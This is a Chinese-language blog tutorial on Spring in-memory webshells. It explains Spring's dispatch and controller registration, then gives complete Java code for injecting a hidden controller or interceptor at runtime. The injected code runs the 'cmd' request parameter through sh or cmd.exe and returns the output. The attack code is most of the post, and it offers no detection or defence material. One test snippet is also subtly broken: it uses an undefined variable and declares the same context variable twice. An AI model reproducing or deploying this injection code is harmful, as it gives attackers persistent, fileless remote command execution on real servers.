Spring内存马
前言
Spring内存马常见的有两种,Controller内存马和Interceptor内存马,有了前面学习Tomcat的Filter、Servlet、Listener和Valve内存马的学习,学习Spring内存马感觉到是比较轻松的
Spring基础
Spring的相关基础,都是之前在一点点瞎学习和审计SpringBoot系统中学到的,也不是很会整理和总结,就不误人子弟了。这里拿出一张我个人感觉不错的流程图,可以根据这个去跟一下Dispatcher的流程。

SpringController内存马
环境搭建
环境的配置与版本如下:
- SpringBoot2.6.13
- JDK8u65
- Maven3.9.8
在IDEA中新建项目,选择SpringBoot模块,类型设置为Maven,JDK我选择用JDK8u65。点击下一步

这里我选的SpringBoot版本为2.6.13,依赖添加SpringWeb,点击创建即可

新建一个Controller,文件内容如下,这样我们的基础环境就搭建好了
1 2 3 4 5 6 7 8 9
| @Controller public class SpringController { @RequestMapping("/hello") @ResponseBody public String hello() { return "Hello World"; } }
|

源码分析
Controller流程分析
个人感觉Spring的Controller和Tomcat的Servlet很相似,都作用于路由,可以通过某个特定的路径访问特定的业务逻辑
我们在Controller中下一个断点,走到这里,我们可以看到左下角堆栈信息

进入doDispatch
方法中,首先通过getHandler
方法,获取到对应的Handler,然后再调用getHandlerAdapter
方法获取到对应的适配器,最后去调用ha.handler

在getHandler
方法中,会寻找我们访问路径所对应的HandlerMapping
,其中HandlerMappings
中存在五个HandlerMapping
,通过迭代器进行遍历,找到匹配的HandlerMapping

跟进getHandler
方法,然后持续跟进getHandlerInternal
,mappingRegistry
中就存储着我们的路由信息,这里首先对mappingRegistry
进行上锁,最后在finally块中,进行解锁,

跟进lookupHandlerMethod
方法,这里根据我们访问的路径,获取到了对应的路由
也就是说,我们只需要向mappingRegistry中添加恶意Controller的路由信息,就可以达到注入内存马的效果

Controller注册流程
在AbstractHandlerMethodMapping
的initHanlderMethods
方法处下一个断点,来分析Controller注册流程
看到initHandlerMethods
方法,遍历所有bean,传入processCandidateBean
方法中来处理bean

跟进processCandidateBean
方法中,通过getType
方法获取beanType,后续判断该Bean是否为Handler
对象,如果是的话,就将其传入detectHandlerMethods
方法中

在detectHandlerMethods
方法中,调用getMappingForMethod
来获取到Map
类methods,构成为<Method,RequestMapping>
,后续通过遍历methods,调用registerHandlerMethod
方法执行了注册Controller的操作

持续跟进registerHandlerMethod
,最后注册Controller的方法为this.mappingRegistry.register
方法

注册Controller
获取上下文
对于内存马的注入,最重要的事情就是获取上下文,在Tomcat中获取说的上下文为StandardContext
,对于Spring获取的就是WebApplicationContext
。
获取上下文常用的方法有五种:
- ContextLoader
- WebApplicationContextUtils
- RequestContextUtils
- getAttribute
- 反射获取
ContextLoader
直接通过ContextLoader获取,获取到当前ContextLoader
创建的WebApplicationContext
(一般ContextLoader会被ban)
1
| WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
|
WebApplicationContextUtils
该工具类的getWebApplicationContext
方法也是获取到ContextLoaderListener
所创建的ROOTWebApplicationContext
1
| WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
|
需要注意的是,在spring 5之后的的WebApplicationContextUtils已经没有getWebApplicationContext方法
RequestContextUtils
通过RequestContextHolder
获取request,然后获取servletRequest后通过RequestContextUtils
获取ROOTWebApplicationContext
1
| WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
|
getAttribute
用RequestContextHolder
方法直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT
中获取Context即可
1
| WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
|
反射获取
最后也可以直接通过反射获取WebApplicationContext
1 2 3
| java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); filed.setAccessible(true); org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
|
注册Controller
在Spring2.5 - 3.1中使用defaultAnnotationHandlerMapping
处理URL映射。在Spring3.1之后使用RequestMappingHandlerMapping
方法
在模拟注册Controller时,一般有三种方法
registryMapping
根据上面的源码分析,可以直接将Controller
直接注册进registryMapping
现在想要将Controller
注册去,那么我们就要获取到registryMapping,而该参数可以直接通过调用WebApplicationContext
的getBean
方法获取,上面说了怎么获取上下文,因此使用以下代码即可获取registryMapping
1
| RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
|
在调用RegistryMapping
注册时,需要传入三个参数:RequestMappingInfo
、Controller
、Method
,因此这三个参数是我们所需要构造的
创建RequestMappingInfo
,需要传入PatternsRequestCondition
(Controller映射的URL)和RequestMethodsRequestCondition
(HTTP的请求方法)
1 2 3
| PatternsRequestCondition url = new PatternsRequestCondition("/memShell"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
|
恶意Controller就是我们的核心,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| @RestController public class InjectedController { public InjectedController(){ } public void cmd() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } }
|
最后需要创建Method
,就是我们想要触发的Controller中的方法,这里我们通过反射获取该方法
1
| Method method = InjectedController.class.getMethod("cmd");
|
最后调用RegistryMapping
方法进行注册即可
1
| requestMappingHandlerMapping.registerMapping(info, injectedController, method);
|
detectHandlerMethods
在上面分析注册流程时,detectHandelerMethods
中,用getMappingForMethod
获取了RequestMappingInfo
,然后调用registerHandlerMethod
方法进行调用

这里由于detectHandlerMethods
为protect作用域,因此需要通过反射调用该方法(在使用该方法注册Controller的时候,我们构造的恶意Controller需要用注解指定路径,例如@RequestMapping("/backdoor")
)
1 2 3 4 5 6 7 8 9
| context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class); m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
|
registerHandler
上面两种方法适用于spring3.1之后,RequestMappingHandlerMapping
为映射器时。当使用DefaultAnnotationHandlerMapping
作为映射器时,可以使用该类顶层父类的registerHandler
方法来注册controller
,但是不太常用了。
1 2 3 4 5 6 7 8 9
| context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class); m1.setAccessible(true);
m1.invoke(dh, "/favicon", "dynamicController");
|
完整测试代码
在真实环境下,肯定是不是这样注入的,而是通过jsp文件或者反序列化注入,但是Spring默认不支持JSP文件的解析,应该大部分都是通过反序列化注入的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner;
@Controller public class EvilController {
@RequestMapping("/Evil") public void InjectController() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = evalController.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, new evalController(), method);
}
public class evalController{ public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } } } }
|
SpringInterceptor内存马
Interceptor和Tomcat中的Filter过滤器很相似,但是还是有些差别。一般来说,Interceptor用来做日志记录,过滤器则用来拦截非法操作。
源码分析
Interceptor流程分析
在doDispatch
方法中,调用mppedHandler.applyPreHandle
方法

跟进applyPreHandle
,可以看到里面遍历调用了interceptor的preHande
方法,如果其中有拦截器返回false,就会return

这里从别的师傅那里,拿来一张图,该图展现了Filter、Controller、Interceptor中方法的执行顺序

Interceptor注册流程
下断点在DispathcerServlet.doDispatch
方法中,持续跟进getHandler
方法,在该方法中调用了getHandlerExecutionChain
方法

跟进getHandlerExecutionChain
,该方法遍历取出adapedInterceptor
中的Intercepter
,如果该interceptor符合条件,就添加到chain中(和Tomcat中的FilterChain也是比较像的)

注册Interceptor
获取上下文
获取上下文在上面的Controller内存马已经说过了,这里就不再赘述
获取RequestMappingHandlerMapping
在AbstractHandlerMappiing
类中,通过addInterceptor
将拦截器添加至chain中。但该类为抽象类,如果遇到抽象类,那么我们应该去找他的实现类RequestMappingHandler
同样的RequestMappingHandlerMapping
可以通过getBean
方法从上下文中获取
1
| RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
|
注册Interceptor
前面在Interceptor注册流程中分析到过,直接通过调用adaptedInterceptors
的add
方法添加即可
1 2
| TestInterceptor evilInterceptor=new TestInterceptor(); adtedinterceptors.add(evilInterceptor);
|
完整测试代码
完整测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import com.stoocea.Interceptor.TestInterceptor; import org.junit.Test; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.ContextLoader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field; import java.util.ArrayList;
@Controller public class Evil2Controller {
@GetMapping("/evil") @ResponseBody public String getEvilInterceptor() throws Exception{
WebApplicationContext applicationContext=(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)field.get(null)).iterator().next();
WebApplicationContext applicationContext = ContextLoader.getCurrentWebApplicationContext();
AbstractHandlerMapping handlerMapping=applicationContext.getBean("requestMappingHandlerMapping", AbstractHandlerMapping.class); Field field1=AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field1.setAccessible(true); ArrayList<Object> adtedinterceptors =(ArrayList<Object>)field1.get(handlerMapping); TestInterceptor evilInterceptor=new TestInterceptor(); adtedinterceptors.add(evilInterceptor); return "inject sucessfully"; } }
|
恶意的Interceptor如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.io.PrintWriter; import java.util.Scanner;
public class TestInterceptor implements HandlerInterceptor {
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String url = request.getRequestURI(); PrintWriter writer = response.getWriter();
if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } return true;
} }
|
小结
不论是学习Tomcat内存马,还是Spring内存马的过程中,都能感觉到能够更好的理解其底层的原理,能够创造出天才的真是Tomcat和Spring!!!